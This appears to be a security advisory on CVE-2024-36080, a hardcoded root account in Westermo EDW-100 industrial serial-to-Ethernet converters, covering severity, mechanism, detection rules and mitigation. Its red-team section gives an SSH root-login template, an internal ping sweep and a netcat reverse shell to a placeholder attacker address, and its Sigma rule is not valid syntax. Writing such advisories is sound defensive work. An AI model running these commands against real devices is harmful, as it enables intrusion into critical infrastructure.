CVE-2024-36080

Executive Summary

CVE-2024-36080 is a critical vulnerability (CVSS 9.8) affecting Westermo EDW-100 serial-to-Ethernet converters. The device ships with a hidden root user account that uses a hardcoded, unchangeable password. This allows any unauthenticated attacker with network access to gain full root-level control over the device. The vendor explicitly states the device should not be placed at the network edge, but the vulnerability remains unpatched. This is a classic case of hardcoded credentials (CWE-798) in an industrial control system (ICS) device, posing a severe risk to operational technology (OT) environments.

Supply Chain & Package Security

This is not a software package vulnerability; it is a hardware/firmware issue in an embedded ICS device. No supply chain package (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – the vulnerable component is the only one affected.
• Confidentiality Impact: High (C:H) – full read access to device data.
• Integrity Impact: High (I:H) – full write access to device configuration and firmware.
• Availability Impact: High (A:H) – attacker can disable or brick the device.

Threat Level: Critical. The hardcoded root password is publicly known (or easily discoverable via firmware analysis). The device is often used in critical infrastructure (e.g., power, water, transportation) where serial-to-Ethernet conversion is needed.

Deep Dive & Mechanics

The Westermo EDW-100 is a serial-to-Ethernet converter used to connect legacy serial devices (RS-232/422/485) to IP networks. The vulnerability stems from a hidden root user account embedded in the device's firmware. This account has a hardcoded password that cannot be changed through any administrative interface or configuration option.

Mechanism:

1. The device runs a Linux-based embedded OS.
2. The /etc/passwd or /etc/shadow file contains a root user entry with a password hash derived from a static string.
3. This password is compiled into the firmware binary and is identical across all devices of the same firmware version.
4. An attacker can connect to the device via SSH (port 22) or Telnet (port 23) and log in as root with the hardcoded password.
5. Once authenticated, the attacker has full root privileges, allowing them to:
   • Modify device configuration (e.g., change serial port settings, IP address).
   • Install malware or backdoors.
   • Use the device as a pivot point to attack other OT/IT assets.
   • Disable the device (denial of service).

Why it's unpatched: The vendor has not released a firmware update to address this. The advisory suggests network segmentation as a mitigation, implying the vulnerability is considered a design flaw that cannot be easily fixed without a hardware revision.

Vulnerable vs. Patched Code

Since no patch exists, there is no "patched" code to compare. The vulnerable code is the firmware's authentication module that accepts the hardcoded root password.

Vulnerable (Firmware):

// Pseudocode of the vulnerable authentication check
int authenticate(char *username, char *password) {
    if (strcmp(username, "root") == 0) {
        if (strcmp(password, HARDCODED_ROOT_PASSWORD) == 0) {
            return 1; // success
        }
    }
    return 0; // failure
}

Patched (Hypothetical):

// Patched version would remove the hardcoded check or force password change on first boot
int authenticate(char *username, char *password) {
    // No hardcoded root account; use only user-configurable accounts
    return check_ldap_or_local_db(username, password);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to the Westermo EDW-100 (port 22 or 23 open).
• Knowledge of the hardcoded root password (obtained via firmware analysis or public disclosure).

Exploitation Steps:

1. Scan for Westermo EDW-100 devices on the network.
2. Connect via SSH or Telnet using the root account.
3. Execute commands to gain persistence and pivot.

Example SSH Login:

ssh root@<target_ip>
# Password: <hardcoded_password>

Post-Exploitation (Pivot):

# Check network interfaces
ifconfig

# Scan internal OT network
for ip in 192.168.1.{1..254}; do ping -c 1 $ip & done

# Install a reverse shell (if device has outbound connectivity)
nc -e /bin/sh <attacker_ip> 4444

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for successful SSH/Telnet logins from unknown IPs, especially using the root account.
2. Look for unusual outbound connections from the EDW-100 device (e.g., to unknown IPs on non-standard ports).
3. Check for changes to device configuration (e.g., serial port settings, IP address).

Honeypot Setup:

• Deploy a fake Westermo EDW-100 using a low-interaction honeypot (e.g., Cowrie) to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:

  • SSH/Telnet connections to the device from unexpected external IPs.
  • Outbound connections from the device to IPs not in the allowed list.
  • Unusual traffic on ports 22 or 23 from the device.

• Host IOCs (on the device):

  • Presence of unauthorized files in /tmp or /root.
  • Modified /etc/passwd or /etc/shadow (if attacker adds new users).
  • Running processes not part of the default firmware (e.g., nc, python, perl).

• Log IOCs:

  • Repeated failed login attempts followed by a successful login (if attacker brute-forces).
  • Successful login from an IP not in the device's management subnet.

Detection Engineering

YARA Rule

rule CVE_2024_36080_Westermo_Hardcoded_Root {
    meta:
        description = "Detects Westermo EDW-100 firmware with hardcoded root password"
        author = "Valters IT"
        date = "2024-05-10"
        reference = "CVE-2024-36080"
    strings:
        $root_string = "root:" ascii wide
        $hardcoded_hash = /root:\$[0-9]\$[a-zA-Z0-9\/\.]{8,}/ ascii
    condition:
        $root_string and $hardcoded_hash
}

Sigma Rule

title: Westermo EDW-100 Hardcoded Root Login
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects successful SSH/Telnet login to Westermo EDW-100 using root account
author: Valters IT
date: 2024-05-10
logsource:
    category: authentication
    product: linux
detection:
    selection:
        User: 'root'
        LogonType: 'SSH' or 'Telnet'
    condition: selection
falsepositives:
    - Legitimate administrative access (should be rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2024-36080 Westermo EDW-100 Root SSH Login"; flow:to_server,established; content:"SSH-2.0"; nocase; content:"root"; within:10; classtype:attempted-admin; sid:1000001; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 23 (msg:"CVE-2024-36080 Westermo EDW-100 Root Telnet Login"; flow:to_server,established; content:"Login:"; nocase; content:"root"; within:10; classtype:attempted-admin; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate Westermo EDW-100 devices on a dedicated OT VLAN with strict firewall rules. Do not expose them to the internet or corporate network.
2. Access Control: Restrict SSH/Telnet access to only authorized management IPs using ACLs.
3. Disable Unused Services: If Telnet is not needed, disable it. Use SSH with key-based authentication if possible (though the hardcoded root account bypasses this).
4. Monitor Logs: Enable logging and send logs to a SIEM for real-time monitoring of root logins.

Long-Term Actions:

1. Vendor Contact: Pressure Westermo to release a firmware update that removes the hardcoded root account or allows password changes.
2. Device Replacement: Consider replacing the EDW-100 with a more secure serial-to-Ethernet converter that supports proper authentication and password management.
3. Firmware Hardening: If possible, reverse-engineer the firmware and patch out the hardcoded password (advanced, may void warranty).

No patch is available from the vendor as of this report.

Valters IT